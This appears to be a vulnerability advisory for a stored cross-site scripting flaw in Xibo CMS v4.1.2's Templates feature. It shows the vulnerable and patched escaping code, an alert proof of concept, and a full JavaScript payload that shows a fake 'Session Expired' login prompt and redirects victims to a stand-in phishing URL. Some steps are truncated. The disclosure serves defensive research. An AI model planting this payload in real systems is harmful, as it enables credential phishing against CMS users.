
Stored Cross-Site Scripting (XSS) in Xibo Signage's Xibo CMS v4.1.2, due to a lack of proper validation of user input.
I have discovered a Stored Cross-Site Scripting (XSS) vulnerability in Xibo CMS v4.1.2. This vulnerability allows an authenticated attacker to inject malicious scripts into the application due to improper validation of user-supplied input.
The issue resides in the 'Templates' feature. An attacker can craft a template containing a text element with a malicious payload. When this template is viewed by other users, the script executes in their browser, potentially leading to data theft or other malicious actions.
To exploit the vulnerability, an authenticated user must follow these steps:
<script>alert(1337)</script>).This section contains the specific code snippet from Xibo CMS v4.1.2 that fails to sanitize the input for the 'Text' field.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
],
];
} else if ($extension !== null) {
In another line of the same document.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
],
];
In another document.
// Escape HTML
convertedProperties.escapeHtml = template?.extends?.escapeHtml;
// Compile hbs template with data
let hbsHtml = hbsTemplate(convertedProperties);
This section showcases the patched code, which includes proper input sanitization and output encoding mechanisms to neutralize malicious scripts.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
$moduleTemplate->extends->escapeHtml : 1,
],
];
} else if ($extension !== null) {
In another line of the same document.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
$moduleTemplate->extends->escapeHtml : 1,
],
];
In another document.
// Escape HTML
convertedProperties.escapeHtml =
(template?.extends?.escapeHtml === undefined) ?
true : template.extends.escapeHtml;
// Compile hbs template with data
let hbsHtml = hbsTemplate(convertedProperties);
The stored payload is executed in the context of the victim's browser, which can be leveraged to steal sensitive information like passwords.
1. Injecting the Payload: The attacker inserts the malicious script into a text element within a template.
The script I used is the following one:
<script>
(function() {
// --- MAIN FUNCTION ---
function showRedirectModal() {
// 1. Create the elements
const overlay = document.createElement('div');
const modalContainer = document.createElement('div');
const title = document.createElement('h2');
const message = document.createElement('p');
const redirectButton = document.createElement('button');
// 2. Assign styles and properties
// Style for the dark overlay
Object.assign(overlay.style, {
position: 'fixed', top: '0', left: '0', width: '100%', height: '100%',
backgroundColor: 'rgba(0, 0, 0, 0.75)', zIndex: '10000',
display: 'flex', justifyContent: 'center', alignItems: 'center'
});
// Style for the modal container
Object.assign(modalContainer.style, {
padding: '40px', backgroundColor: '#fff', borderRadius: '8px',
boxShadow: '0 4px 15px rgba(0,0,0,0.2)', width: '320px',
fontFamily: 'Arial, sans-serif'
});
// Style for the title
title.textContent = 'Session Expired';
Object.assign(title.style, {
textAlign: 'center', color: '#333', marginBottom: '15px'
});
message.textContent = 'Your session has expired. Please log in again to continue.';
Object.assign(message.style, {
textAlign: 'center',
color: '#555',
marginBottom: '25px',
lineHeight: '1.5',
fontSize: '16px'
});
// Style for the redirect button
Object.assign(redirectButton.style, {
width: '100%', padding: '12px', border: 'none', borderRadius: '4px',
backgroundColor: '#007bff', color: 'white', fontSize: '16px',
cursor: 'pointer'
});
redirectButton.textContent = 'Log In Again';
// 3. Assemble the modal structure
modalContainer.appendChild(title);
modalContainer.appendChild(message);
modalContainer.appendChild(redirectButton);
overlay.appendChild(modalContainer);
// 4. Add the modal to the page
document.body.appendChild(overlay);
// 5. Define the button's behavior
redirectButton.addEventListener('click', function(e) {
e.preventDefault(); // Buena práctica
const phishingURL = 'http://my-website-example.com/login.html';
window.location.href = phishingURL;
document.body.removeChild(overlay);
});
}
// --- Initialize the function ---
showRedirectModal();
})();
</script>
2. Attack Scenario: A common attack simulates a session expiration to capture user credentials. The script hijacks the page and presents this pop up to the victim.
This information is provided for educational and research purposes only. I am NOT responsible for any misuse or damage caused by this information.